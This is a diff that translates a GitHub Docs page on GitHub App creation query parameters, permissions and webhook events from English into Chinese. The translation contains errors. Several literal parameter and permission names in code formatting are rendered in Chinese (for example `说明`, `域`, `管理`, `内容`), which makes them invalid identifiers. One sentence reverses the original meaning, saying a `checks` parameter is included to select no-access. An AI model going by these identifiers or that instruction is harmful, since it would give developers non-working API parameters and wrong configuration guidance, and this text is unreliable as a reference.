   - /apps/building-github-apps/creating-github-apps-using-url-parameters
   - /developers/apps/creating-a-github-app-using-url-parameters
@@ -11,22 +11,23 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: App creation query parameters
+shortTitle: 应用程序创建查询参数
 ---
-## About {% data variables.product.prodname_github_app %} URL parameters
 
-You can add query parameters to these URLs to preselect the configuration of a {% data variables.product.prodname_github_app %} on a personal or organization account:
+## 关于 {% data variables.product.prodname_github_app %} URL 参数
 
-* **User account:** `{% data variables.product.oauth_host_code %}/settings/apps/new`
-* **Organization account:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new`
+您可以将查询参数添加到这些 URL 中，以便在个人或组织帐户上预选 {% data variables.product.prodname_github_app %} 的配置：
 
-The person creating the app can edit the preselected values from the {% data variables.product.prodname_github_app %} registration page, before submitting the app. If you do not include required parameters in the URL query string, like `name`, the person creating the app will need to input a value before submitting the app.
+* **用户帐户：** `{% data variables.product.oauth_host_code %}/settings/apps/new`
+* **组织帐户：** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new`
+
+创建应用程序的人在提交应用程序之前，可以从 {% data variables.product.prodname_github_app %} 注册页面编辑预选值。 如果您没有在 URL 查询字符串中包含必需的参数，例如 `name`，则创建应用程序的人在提交该应用程序之前需要输入值。
 
 {% ifversion ghes > 3.1 or fpt or ghae or ghec %}
-For apps that require a secret to secure their webhook, the secret's value must be set in the form by the person creating the app, not by using query parameters. For more information, see "[Securing your webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)."
+对于需要密钥来保护其 web 挂钩的应用，该密钥的价值必须由应用创建者以该形式设置，而不是通过使用查询参数。 更多信息请参阅“[保护 web 挂钩](/developers/webhooks-and-events/webhooks/securing-your-webhooks)”。
 {% endif %}
 
-The following URL creates a new public app called `octocat-github-app` with a preconfigured description and callback URL. This URL also selects read and write permissions for `checks`, subscribes to the `check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation:
+以下 URL 使用预配置的说明和回调 URL 创建名为 `octocat-github-app` 的新公共应用程序。 此 URL 还选择了 `checks` 的读取和写入权限，订阅了 `check_run` 和 `check_suite` web 挂钩事件，并选择了在安装过程中请求用户授权 (OAuth) 的选项：
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
@@ -42,102 +43,102 @@ The following URL creates a new public app called `octocat-github-app` with a pr
 
 {% endif %}
 
-The complete list of available query parameters, permissions, and events is listed in the sections below.
+下面几节列出了可用查询参数、权限和事件的完整列表。
 
-## {% data variables.product.prodname_github_app %} configuration parameters
+## {% data variables.product.prodname_github_app %} 配置参数
 
- Name | Type | Description
------|------|-------------
-`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action.
-`description` | `string` | A description of the {% data variables.product.prodname_github_app %}.
-`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to identify and authorize user-to-server requests. For example, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %}
-`callback_url` | `string` | The full URL to redirect to after someone authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.{% endif %}
-`request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app.
-`setup_url` | `string` | The full URL to redirect to after someone installs the {% data variables.product.prodname_github_app %} if the app requires additional setup after installation.
-`setup_on_update` | `boolean` | Set to `true` to redirect people to the setup URL when installations have been updated, for example, after repositories are added or removed.
-`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app.
-`webhook_active` | `boolean` | Set to `false` to disable webhook. Webhook is enabled by default.
-`webhook_url` | `string` | The full URL that you would like to send webhook event payloads to.
-{% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `string` | You can specify a secret to secure your webhooks. See "[Securing your webhooks](/webhooks/securing/)" for more details.
-{% endif %}`events` | `array of strings` | Webhook events. Some webhook events require `read` or `write` permissions for a resource before you can select the event when registering a new {% data variables.product.prodname_github_app %}. See the "[{% data variables.product.prodname_github_app %} webhook events](#github-app-webhook-events)" section for available events and their required permissions. You can select multiple events in a query string. For example, `events[]=public&events[]=label`.{% ifversion ghes < 3.4 %}
-`domain` | `string` | The URL of a content reference.{% endif %}
-`single_file_name` | `string` | This is a narrowly-scoped permission that allows the app to access a single file in any repository. When you set the `single_file` permission to `read` or `write`, this field provides the path to the single file your {% data variables.product.prodname_github_app %} will manage. {% ifversion fpt or ghes or ghec %} If you need to manage multiple files, see `single_file_paths` below. {% endif %}{% ifversion fpt or ghes or ghec %}
-`single_file_paths` | `array of strings` | This allows the app to access up ten specified files in a repository. When you set the `single_file` permission to `read` or `write`, this array can store the paths for up to ten files that your {% data variables.product.prodname_github_app %} will manage. These files all receive the same permission set by `single_file`, and do not have separate individual permissions. When two or more files are configured, the API returns `multiple_single_files=true`, otherwise it returns `multiple_single_files=false`.{% endif %}
+ | 名称                                                 | 类型      | 描述                                                                                                                                                                                                                                                                                                                              |
+ | -------------------------------------------------- | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+ | `name`                                             | `字符串`   | {% data variables.product.prodname_github_app %} 的名称。 给应用程序一个清晰简洁的名称。 应用程序不能与现有 GitHub 用户同名，除非它是您自己的用户或组织的名称。 当您的集成执行操作时，应用程序名称的缓存版本将显示在用户界面上。                                                                                                                                                                                |
+ | `说明`                                               | `字符串`   | {% data variables.product.prodname_github_app %} 的说明。                                                                                                                                                                                                                                                                         |
+ | `url`                                              | `字符串`   | {% data variables.product.prodname_github_app %} 网站主页的完整 URL。{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+ | `callback_urls`                                    | `字符串数组` | 在用户授权安装后重定向到的完整 URL。 您可以提供最多 10 个回叫 URL。 如果应用程序需要识别和授权用户到服务器的请求，则使用这些 URL。 例如 `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`。{% else %}
+ | `callback_url`                                     | `字符串`   | 在用户授权安装后重定向到的完整 URL。 如果应用程序需要识别和授权用户到服务器的请求，则使用此 URL。{% endif %}
+ | `request_oauth_on_install`                         | `布尔值`   | 如果应用程序授权用户使用 OAuth 流程，您可以将此选项设置为 `true`，以允许用户在安装应用程序时授权它，从而省去一个步骤。 如果您选择此选项，则 `setup_url` 将不可用，用户在安装应用程序后将被重定向到您的 `callback_url`。                                                                                                                                                                                               |
+ | `setup_url`                                        | `字符串`   | 在用户安装 {% data variables.product.prodname_github_app %} 后重定向到的完整 URL（如果应用程序在安装之后需要额外设置）。                                                                                                                                                                                                                                       |
+ | `setup_on_update`                                  | `布尔值`   | 设置为 `true` 可在更新安装后（例如在添加或删除仓库之后）将用户重定向到设置 URL。                                                                                                                                                                                                                                                                                  |
+ | `public`                                           | `布尔值`   | 当 {% data variables.product.prodname_github_app %} 可供公众使用时，设置为 `true` ；当它仅供应用程序的所有者访问时，设置为 `false`。                                                                                                                                                                                                                           |
+ | `webhook_active`                                   | `布尔值`   | Set to `false` to disable webhook. Webhook is enabled by default.                                                                                                                                                                                                                                                               |
+ | `webhook_url`                                      | `字符串`   | 要向其发送 web 挂钩事件有效负载的完整 URL。                                                                                                                                                                                                                                                                                                      |
+ | {% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `字符串`   | 您可以指定一个密钥来保护 web 挂钩。 更多信息请参阅“[保护 web 挂钩](/webhooks/securing/)”。                                                                                                                                                                                                                                                                 |
+ | {% endif %}`events`                                | `字符串数组` | Web 挂钩事件. 某些 web 挂钩事件需要您对资源有 `read` 或 `write` 权限，才能在注册新 {% data variables.product.prodname_github_app %} 时选择事件。 有关可用事件及其所需权限，请参阅“[{% data variables.product.prodname_github_app %} web 挂钩事件](#github-app-webhook-events)”一节。 您可以在查询字符串中选择多个事件。 For example, `events[]=public&events[]=label`.{% ifversion ghes < 3.4 %}
+ | `域`                                                | `字符串`   | The URL of a content reference.{% endif %}
+ | `single_file_name`                                 | `字符串`   | 这是一种范围狭窄的权限，允许应用程序访问任何仓库中的单个文件。 当您将 `single_file` 权限设置为 `read` 或 `write` 时，此字段提供 {% data variables.product.prodname_github_app %} 将要管理的单个文件的路径。 {% ifversion fpt or ghes or ghec %} 如果您需要管理多个文件，请参阅下面的 `single_file_paths`。 {% endif %}{% ifversion fpt or ghes or ghec %}
+ | `single_file_paths`                                | `字符串数组` | 这允许应用程序访问仓库中的最多 10 个指定文件。 当您将 `single_file` 权限设置为 `read` 或 `write` 时，此数组可存储 {% data variables.product.prodname_github_app %} 将要管理的最多 10 个文件的路径。 这些文件都接收由 `single_file` 设置的相同权限，没有单独的权限。 配置了两个或更多文件时，API 将返回 `multiple_single_files=true`，否则它将返回 `multiple_single_files=false`。{% endif %}
 
-## {% data variables.product.prodname_github_app %} permissions
+## {% data variables.product.prodname_github_app %} 权限
 
-You can select permissions in a query string using the permission name in the following table as the query parameter name and the permission type as the query value. For example, to select `Read & write` permissions in the user interface for `contents`, your query string would include `&contents=write`. To select `Read-only` permissions in the user interface for `blocking`, your query string would include `&blocking=read`. To select `no-access` in the user interface for `checks`, your query string would not include the `checks` permission.
+您可以在查询字符串中选择权限：使用下表中的权限名称作为查询参数名称，使用权限类型作为查询值。 例如，要在用户界面中为 `contents` 选择 `Read & write` 权限，您的查询字符串将包括 `&contents=write`。 要在用户界面中为 `blocking` 选择 `Read-only` 权限，您的查询字符串将包括 `&blocking=read`。 要在用户界面中为 `checks` 选择 `no-access` ，您的查询字符串将包括 `checks` 权限。
 
-Permission | Description
----------- | -----------
-[`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration) | Grants access to various endpoints for organization and repository administration. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %}
-[`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking) | Grants access to the [Blocking Users API](/rest/reference/users#blocking). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`checks`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks) | Grants access to the [Checks API](/rest/reference/checks). Can be one of: `none`, `read`, or `write`.{% ifversion ghes < 3.4 %}
-`content_references` | Grants access to the "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" endpoint. Can be one of: `none`, `read`, or `write`.{% endif %}
-[`contents`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents) |  Grants access to various endpoints that allow you to modify repository contents. Can be one of: `none`, `read`, or `write`.
-[`deployments`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments) | Grants access to the [Deployments API](/rest/reference/repos#deployments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghec %}
-[`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails) | Grants access to the [Emails API](/rest/reference/users#emails). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers) | Grants access to the [Followers API](/rest/reference/users#followers). Can be one of: `none`, `read`, or `write`.
-[`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys) | Grants access to the [GPG Keys API](/rest/reference/users#gpg-keys). Can be one of: `none`, `read`, or `write`.
-[`issues`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues) | Grants access to the [Issues API](/rest/reference/issues). Can be one of: `none`, `read`, or `write`.
-[`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys) | Grants access to the [Public Keys API](/rest/reference/users#keys). Can be one of: `none`, `read`, or `write`.
-[`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members) |  Grants access to manage an organization's members. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %}
-[`metadata`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions) | Grants access to read-only endpoints that do not leak sensitive data. Can be `read` or `none`. Defaults to `read` when you set any permission, or defaults to `none` when you don't specify any permissions for the {% data variables.product.prodname_github_app %}.
-[`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | Grants access to "[Update an organization](/rest/reference/orgs#update-an-organization)" endpoint and the [Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks) | Grants access to the [Organization Webhooks API](/rest/reference/orgs#webhooks/). Can be one of: `none`, `read`, or `write`.
-`organization_plan` | Grants access to get information about an organization's plan using the "[Get an organization](/rest/reference/orgs#get-an-organization)" endpoint. Can be one of: `none` or `read`.
-[`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) |  Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghec %}
-[`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Grants access to the [Blocking Organization Users API](/rest/reference/orgs#blocking). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`pages`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages) | Grants access to the [Pages API](/rest/reference/repos#pages). Can be one of: `none`, `read`, or `write`.
-`plan` | Grants access to get information about a user's GitHub plan using the "[Get a user](/rest/reference/users#get-a-user)" endpoint. Can be one of: `none` or `read`.
-[`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests) | Grants access to various pull request endpoints. Can be one of: `none`, `read`, or `write`.
-[`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks) | Grants access to the [Repository Webhooks API](/rest/reference/repos#hooks). Can be one of: `none`, `read`, or `write`.
-[`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects) |  Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghes > 3.0 or ghec %}
-[`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts) |  Grants access to the [Secret scanning API](/rest/reference/secret-scanning). Can be one of: `none`, `read`, or `write`.{% endif %}{% ifversion fpt or ghes or ghec %}
-[`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events) |  Grants access to the [Code scanning API](/rest/reference/code-scanning/). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file) | Grants access to the [Contents API](/rest/reference/repos#contents). Can be one of: `none`, `read`, or `write`.
-[`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring) | Grants access to the [Starring API](/rest/reference/activity#starring). Can be one of: `none`, `read`, or `write`.
-[`statuses`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses) | Grants access to the [Statuses API](/rest/reference/repos#statuses). Can be one of: `none`, `read`, or `write`.
-[`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions) | Grants access to the [Team Discussions API](/rest/reference/teams#discussions) and the [Team Discussion Comments API](/rest/reference/teams#discussion-comments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-`vulnerability_alerts`| Grants access to receive security alerts for vulnerable dependencies in a repository. See "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)" to learn more. Can be one of: `none` or `read`.{% endif %}
-`watching` | Grants access to list and change repositories a user is subscribed to. Can be one of: `none`, `read`, or `write`.
+| 权限                                                                                                                               | 描述                                                                                                                                                                                                         |
+| -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [`管理`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration)                                       | 对用于组织和仓库管理的各种端点授予访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% ifversion fpt or ghec %}
+| [`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking)                                       | 授予对[阻止用户 API](/rest/reference/users#blocking) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %}
+| [`检查`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks)                                               | 授予对[检查 API](/rest/reference/checks) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% ifversion ghes < 3.4 %}
+| `content_references`                                                                                                             | 授予对“[创建内容附件](/rest/reference/apps#create-a-content-attachment)”端点的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %}
+| [`内容`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents)                                             | 对用于修改仓库内容的各种端点授予访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                                                    |
+| [`部署`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments)                                          | 授予对[部署 API](/rest/reference/repos#deployments) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% ifversion fpt or ghes or ghec %}
+| [`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails)                                           | 授予对[电子邮件 API](/rest/reference/users#emails) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %}
+| [`关注者`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers)                                           | 授予对[关注者 API](/rest/reference/users#followers) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                     |
+| [`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys)                                       | 授予对[GPG 密钥 API](/rest/reference/users#gpg-keys) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                   |
+| [`议题`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues)                                               | 授予对[议题 API](/rest/reference/issues) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                               |
+| [`键`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys)                                                  | 授予对[公钥 API](/rest/reference/users#keys) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                           |
+| [`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members)                                         | 授予管理组织成员的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% ifversion fpt or ghec %}
+| [`元数据`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions)                                              | 授予对不泄漏敏感数据的只读端点的访问权限。 可以是 `read` 或 `none`。 设置任何权限时，默认值为 `read`；没有为 {% data variables.product.prodname_github_app %} 指定任何权限时，默认值为 `none`。                                                                 |
+| [`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | 授予对“[更新组织](/rest/reference/orgs#update-an-organization)”端点和[组织交互限制 API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %}
+| [`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks)                   | 授予对[组织 web 挂钩 API](/rest/reference/orgs#webhooks/) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                |
+| `organization_plan`                                                                                                              | 授予使用“[获取组织](/rest/reference/orgs#get-an-organization)”端点获取有关组织计划的信息的权限。 可以是以下项之一：`none` 或 `read`。                                                                                                          |
+| [`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects)             | 授予对[项目 API](/rest/reference/projects) 的访问权限。 可以是以下项之一：`none`、`read`、`write` 或 `admin`。{% ifversion fpt or ghec %}
+| [`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects)        | 授予对[阻止组织用户 API](/rest/reference/orgs#blocking) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %}
+| [`页面`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages)                                                | 授予对[页面 API](/rest/reference/repos#pages) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                          |
+| `plan`                                                                                                                           | 授予使用“[获取用户](/rest/reference/users#get-a-user)”端点获取有关用户 GitHub 计划的信息的权限。 可以是以下项之一：`none` 或 `read`。                                                                                                          |
+| [`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests)                             | 授予对各种拉取请求端点的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                                                        |
+| [`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks)                       | 授予对[仓库 web 挂钩 API](/rest/reference/repos#hooks) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                   |
+| [`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects)                 | 授予对[项目 API](/rest/reference/projects) 的访问权限。 可以是以下项之一：`none`、`read`、`write` 或 `admin`。{% ifversion fpt or ghes > 3.0 or ghec %}
+| [`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts)           | 授予对[密钥扫描 API](/rest/reference/secret-scanning) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %}{% ifversion fpt or ghes or ghec %}
+| [`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events)                         | 授予对[代码扫描 API](/rest/reference/code-scanning/) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% endif %}
+| [`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file)                                 | 授予对[内容 API](/rest/reference/repos#contents) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                       |
+| [`标星`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring)                                             | 授予对[标星 API](/rest/reference/activity#starring) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                    |
+| [`状态`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses)                                             | 授予对[状态 API](/rest/reference/repos#statuses) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                       |
+| [`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions)                       | 授予对[团队讨论 API](/rest/reference/teams#discussions) 和[团队讨论注释 API](/rest/reference/teams#discussion-comments) 的访问权限。 可以是以下项之一：`none`、`read` 或 `write`。{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| `vulnerability_alerts`                                                                                                           | 授予接收仓库漏洞依赖项安全警报的权限。 更多信息请参阅“[关于漏洞依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)”。 可以是以下项之一：`none` 或 `read`。{% endif %}
+| `关注`                                                                                                                             | 授予列出和更改用户订阅的仓库的权限。 可以是以下项之一：`none`、`read` 或 `write`。                                                                                                                                                       |
 
-## {% data variables.product.prodname_github_app %} webhook events
+## {% data variables.product.prodname_github_app %} web 挂钩事件
 
-Webhook event name | Required permission | Description
------------------- | ------------------- | -----------
-[`check_run`](/webhooks/event-payloads/#check_run) |`checks` | {% data reusables.webhooks.check_run_short_desc %}
-[`check_suite`](/webhooks/event-payloads/#check_suite) |`checks` | {% data reusables.webhooks.check_suite_short_desc %}
-[`commit_comment`](/webhooks/event-payloads/#commit_comment) | `contents` | {% data reusables.webhooks.commit_comment_short_desc %}{% ifversion ghes < 3.4 %}
-[`content_reference`](/webhooks/event-payloads/#content_reference) |`content_references` | {% data reusables.webhooks.content_reference_short_desc %}{% endif %}
-[`create`](/webhooks/event-payloads/#create) | `contents` | {% data reusables.webhooks.create_short_desc %}
-[`delete`](/webhooks/event-payloads/#delete) | `contents` | {% data reusables.webhooks.delete_short_desc %}
-[`deployment`](/webhooks/event-payloads/#deployment) | `deployments` | {% data reusables.webhooks.deployment_short_desc %}
-[`deployment_status`](/webhooks/event-payloads/#deployment_status) | `deployments` | {% data reusables.webhooks.deployment_status_short_desc %}
-[`fork`](/webhooks/event-payloads/#fork) | `contents` | {% data reusables.webhooks.fork_short_desc %}
-[`gollum`](/webhooks/event-payloads/#gollum) | `contents` | {% data reusables.webhooks.gollum_short_desc %}
-[`issues`](/webhooks/event-payloads/#issues) | `issues` | {% data reusables.webhooks.issues_short_desc %}
-[`issue_comment`](/webhooks/event-payloads/#issue_comment) | `issues` | {% data reusables.webhooks.issue_comment_short_desc %}
-[`label`](/webhooks/event-payloads/#label) | `metadata` | {% data reusables.webhooks.label_short_desc %}
-[`member`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %}
-[`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %}
-[`milestone`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %}
-[`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %}
-[`organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %}
-[`page_build`](/webhooks/event-payloads/#page_build) | `pages` | {% data reusables.webhooks.page_build_short_desc %}
-[`project`](/webhooks/event-payloads/#project) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_short_desc %}
-[`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_card_short_desc %}
-[`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_column_short_desc %}
-[`public`](/webhooks/event-payloads/#public) | `metadata` | {% data reusables.webhooks.public_short_desc %}
-[`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %}
-[`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %}
-[`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %}
-[`push`](/webhooks/event-payloads/#push) | `contents` | {% data reusables.webhooks.push_short_desc %}
-[`release`](/webhooks/event-payloads/#release) | `contents` | {% data reusables.webhooks.release_short_desc %}
-[`repository`](/webhooks/event-payloads/#repository) |`metadata` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %}
-[`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contents` | Allows integrators using GitHub Actions to trigger custom events.{% endif %}
-[`status`](/webhooks/event-payloads/#status) | `statuses` | {% data reusables.webhooks.status_short_desc %}
-[`team`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %}
-[`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %}
-[`watch`](/webhooks/event-payloads/#watch) | `metadata` | {% data reusables.webhooks.watch_short_desc %}
+| Web 挂钩事件名称                                                                             | 所需权限                                            | 描述                                                                                  |
+| -------------------------------------------------------------------------------------- | ----------------------------------------------- | ----------------------------------------------------------------------------------- |
+| [`check_run`](/webhooks/event-payloads/#check_run)                                     | `检查`                                            | {% data reusables.webhooks.check_run_short_desc %}
+| [`check_suite`](/webhooks/event-payloads/#check_suite)                                 | `检查`                                            | {% data reusables.webhooks.check_suite_short_desc %}
+| [`commit_comment`](/webhooks/event-payloads/#commit_comment)                           | `内容`                                            | {% data reusables.webhooks.commit_comment_short_desc %}{% ifversion ghes < 3.4 %}
+| [`content_reference`](/webhooks/event-payloads/#content_reference)                     | `content_references`                            | {% data reusables.webhooks.content_reference_short_desc %}{% endif %}
+| [`create`](/webhooks/event-payloads/#create)                                           | `内容`                                            | {% data reusables.webhooks.create_short_desc %}
+| [`delete`](/webhooks/event-payloads/#delete)                                           | `内容`                                            | {% data reusables.webhooks.delete_short_desc %}
+| [`deployment`](/webhooks/event-payloads/#deployment)                                   | `部署`                                            | {% data reusables.webhooks.deployment_short_desc %}
+| [`deployment_status`](/webhooks/event-payloads/#deployment_status)                     | `部署`                                            | {% data reusables.webhooks.deployment_status_short_desc %}
+| [`复刻`](/webhooks/event-payloads/#fork)                                                 | `内容`                                            | {% data reusables.webhooks.fork_short_desc %}
+| [`gollum`](/webhooks/event-payloads/#gollum)                                           | `内容`                                            | {% data reusables.webhooks.gollum_short_desc %}
+| [`议题`](/webhooks/event-payloads/#issues)                                               | `议题`                                            | {% data reusables.webhooks.issues_short_desc %}
+| [`issue_comment`](/webhooks/event-payloads/#issue_comment)                             | `议题`                                            | {% data reusables.webhooks.issue_comment_short_desc %}
+| [`标签`](/webhooks/event-payloads/#label)                                                | `元数据`                                           | {% data reusables.webhooks.label_short_desc %}
+| [`成员`](/webhooks/event-payloads/#member)                                               | `members`                                       | {% data reusables.webhooks.member_short_desc %}
+| [`membership`](/webhooks/event-payloads/#membership)                                   | `members`                                       | {% data reusables.webhooks.membership_short_desc %}
+| [`里程碑`](/webhooks/event-payloads/#milestone)                                           | `pull_request`                                  | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %}
+| [`org_block`](/webhooks/event-payloads/#org_block)                                     | `organization_administration`                   | {% data reusables.webhooks.org_block_short_desc %}{% endif %}
+| [`组织`](/webhooks/event-payloads/#organization)                                         | `members`                                       | {% data reusables.webhooks.organization_short_desc %}
+| [`page_build`](/webhooks/event-payloads/#page_build)                                   | `页面`                                            | {% data reusables.webhooks.page_build_short_desc %}
+| [`project`](/webhooks/event-payloads/#project)                                         | `repository_projects` 或 `organization_projects` | {% data reusables.webhooks.project_short_desc %}
